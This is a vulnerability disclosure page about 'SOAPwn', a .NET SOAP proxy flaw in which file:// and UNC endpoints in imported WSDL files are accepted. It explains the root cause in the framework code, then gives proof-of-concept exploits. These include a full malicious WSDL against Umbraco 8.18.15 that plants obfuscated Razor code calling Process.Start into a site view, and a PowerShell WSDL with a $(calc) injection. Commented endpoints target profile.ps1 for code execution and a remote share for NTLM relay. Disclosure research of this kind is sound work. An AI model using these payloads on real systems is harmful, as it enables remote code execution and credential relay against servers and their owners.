SOAPwn
.NET SOAP Proxy Transport Abuse
- CVSS
- VECTOR
- IMPACT
- AFFECTED.NET Framework≤ all
The SOAPwn vulnerability class impacts the .NET Framework SOAP client stack — specifically how proxies generated from WSDL files handle transport protocols. HttpWebClientProtocol is intended to operate over HTTP(S), but due to a flawed type-handling decision in the framework, non-HTTP URI schemes such as file:// and UNC paths are silently accepted and processed.
When applications dynamically import WSDL files (e.g. via ServiceDescriptionImporter) and invoke the generated proxy methods, attackers can weaponize this to achieve arbitrary file writes, NTLM credential relay, and in many real-world cases RCE. Microsoft has chosen not to patch the issue, placing responsibility on application developers. Known real-world instances include Barracuda Service Center RMM (CVE-2025-34392) and Ivanti Endpoint Manager (CVE-2025-13659).
The root cause resides in HttpWebClientProtocol.GetWebRequest():
protected override WebRequest GetWebRequest(Uri uri)
{
WebRequest webRequest = base.GetWebRequest(uri); // [1]
HttpWebRequest httpWebRequest = webRequest as HttpWebRequest; // [2]
if (httpWebRequest != null)
{
// ... HTTP-specific config applied only when cast succeeds ...
}
return webRequest; // [3]
}POC || GTFO
Umbraco 8.18.15 — Authenticated (WIP)
Requirements: low-privileged user with Editor role, access to Forms → Data Sources.
Attack chain: import attacker-controlled WSDL via Forms Data Source → generated proxy embeds a file:// SOAP endpoint → form submission invokes proxy method → SOAP request written to disk via FileWebRequest.
Import the following WSDL:
<?xml version="1.0" encoding="utf-8"?>
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}"
xmlns:s="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
<types>
<s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
<s:element name="poc"><s:complexType/></s:element>
<s:element name="pocResponse">
<s:complexType>
<s:sequence>
<s:element name="pocResult" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</types>
<message name="InMsg"><part name="parameters" element="tns:poc"/></message>
<message name="OutMsg"><part name="parameters" element="tns:pocResponse"/></message>
<portType name="SOAPwnMethod">
<operation name="Execute">
<input message="tns:InMsg"/>
<output message="tns:OutMsg"/>
</operation>
</portType>
<binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="Execute">
<soap:operation soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute"/>
<input><soap:body use="literal"/></input>
<output><soap:body use="literal"/></output>
</operation>
</binding>
<service name="SOAPwnService">
<Port name="SOAPwnPort" binding="tns:SOAPwnBinding">
<soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
</Port>
</service>
</definitions>This generates the following proxy class:
public class UmbracoPoc : SoapHttpClientProtocol
{
public UmbracoPoc()
{
base.Url = "file:///inetpub/umbraco8/Views/Blog.cshtml";
}
[SoapDocumentMethod("http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute", RequestNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", ResponseNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
public string Execute()
{
return (string)base.Invoke("Execute", new object[0])[0];
}
}Notes: SOAP 1.1 only. Proxy import confirmed. Execution via Forms is partially restricted — WIP.
PowerShell — Arbitrary File Write → RCE
PowerShell uses the .NET SOAP client stack when importing web services.
Attack chain: import malicious SOAP proxy → trigger method invocation → SOAP payload written to profile.ps1 → new PowerShell session loads profile → arbitrary code execution.
PowerShell — NTLM Relay
Attack chain: SOAP endpoint set to a UNC path (file://///attacker/share) → proxy invocation triggers SMB authentication → NTLM challenge/response captured → credentials relayed to another host.
<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:s="http://www.w3.org/2001/XMLSchema"
xmlns:tns="http://tempuri.org/?$(calc)"
targetNamespace="http://tempuri.org/?$(calc)">
<types>
<s:schema targetNamespace="http://tempuri.org/?$(calc)" elementFormDefault="qualified">
<s:element name="Request"><s:complexType/></s:element>
<s:element name="Response">
<s:complexType>
<s:sequence>
<s:element name="Result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</types>
<message name="InMsg"><part name="parameters" element="tns:Request"/></message>
<message name="OutMsg"><part name="parameters" element="tns:Response"/></message>
<portType name="SOAPwnMethod">
<operation name="poc">
<input message="tns:InMsg"/>
<output message="tns:OutMsg"/>
</operation>
</portType>
<binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="poc">
<soap:operation soapAction="http://tempuri.org/?$(calc)"/>
<input><soap:body use="literal"/></input>
<output><soap:body use="literal"/></output>
</operation>
</binding>
<service name="SOAPwnService">
<Port name="SOAPwnMethod" binding="tns:SOAPwnBinding">
<!-- file write: <soap:address location="file:///Windows/System32/WindowsPowerShell/v1.0/profile.ps1"/> -->
<!-- NTLM relay: <soap:address location="file://192.168.140.128/relaymeplease"/> -->
</Port>
</service>
</definitions>